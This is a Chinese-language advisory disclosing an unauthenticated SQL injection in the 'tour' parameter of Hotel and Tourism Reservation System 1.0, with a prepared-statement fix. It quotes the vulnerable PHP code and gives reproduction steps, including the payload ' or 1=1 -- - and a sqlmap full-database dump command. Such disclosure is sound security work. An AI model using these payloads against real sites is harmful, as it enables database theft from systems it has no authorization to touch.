| 字段 | 详情 |
|---|---|
| 标题 | Hotel and Tourism Reservation System - 通过 tour GET 参数的 SQL 注入 |
| 厂商 | code-projects.org |
| 厂商 URL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| 产品 | Hotel and Tourism Reservation System |
| 版本 | 1.0 |
| 漏洞类型 | SQL 注入 |
| CWE | CWE-89 |
| CVSS 评分 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响文件 | /ht/tour.php |
| 受影响参数 | tour(GET) |
| 是否需要认证 | 否 |
| 是否可远程利用 | 是 |
| 研究人员 | Syed Imad Uddin Alvi |
Hotel and Tourism Reservation System 1.0 的 tour.php 中,tour GET 参数存在一个严重的 SQL 注入漏洞。该参数未经任何过滤、预编译语句或输入验证,直接传入原始 SQL 查询。未认证的远程攻击者可以操纵该查询,从而提取、修改或删除数据库中的任何数据。该漏洞已通过使用 sqlmap 进行完整数据库导出得到确认。
tour.php 中的漏洞代码:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID 直接从 $_GET['tour'] 获取,并在未做任何过滤的情况下被插入到 SQL 查询中。
环境准备: 在 XAMPP 上安装 Hotel and Tourism Reservation System 1.0,并通过 http://<target>/ht/ 访问
步骤 1 — 以未认证用户身份访问任意旅游页面:
http://<target>/ht/tour.php?tour=4
步骤 2 — 注入单引号以破坏 SQL 查询并确认漏洞:
http://<target>/ht/tour.php?tour='
结果: 抛出了致命的 MySQL 错误 — 确认未经过滤的输入到达了 SQL 查询。
步骤 3 — 使用基于布尔的载荷确认 SQLi:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
结果: 页面正常加载并显示旅游数据 — 布尔注入成功。
步骤 4 — 使用 sqlmap 导出整个数据库:
sqlmap -r sqli.txt --dump --batch
结果: sqlmap 成功导出 hotel_db 中的所有表,包括 users、rooms、tour_reserves、gallery — 确认数据库已被完全攻陷。
未认证的远程攻击者可以:
INTO OUTFILE 实现远程代码执行tour GET 参数被直接插入到原始 SQL 查询中,完全没有使用预编译语句、参数化查询或输入过滤:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — 独立安全研究员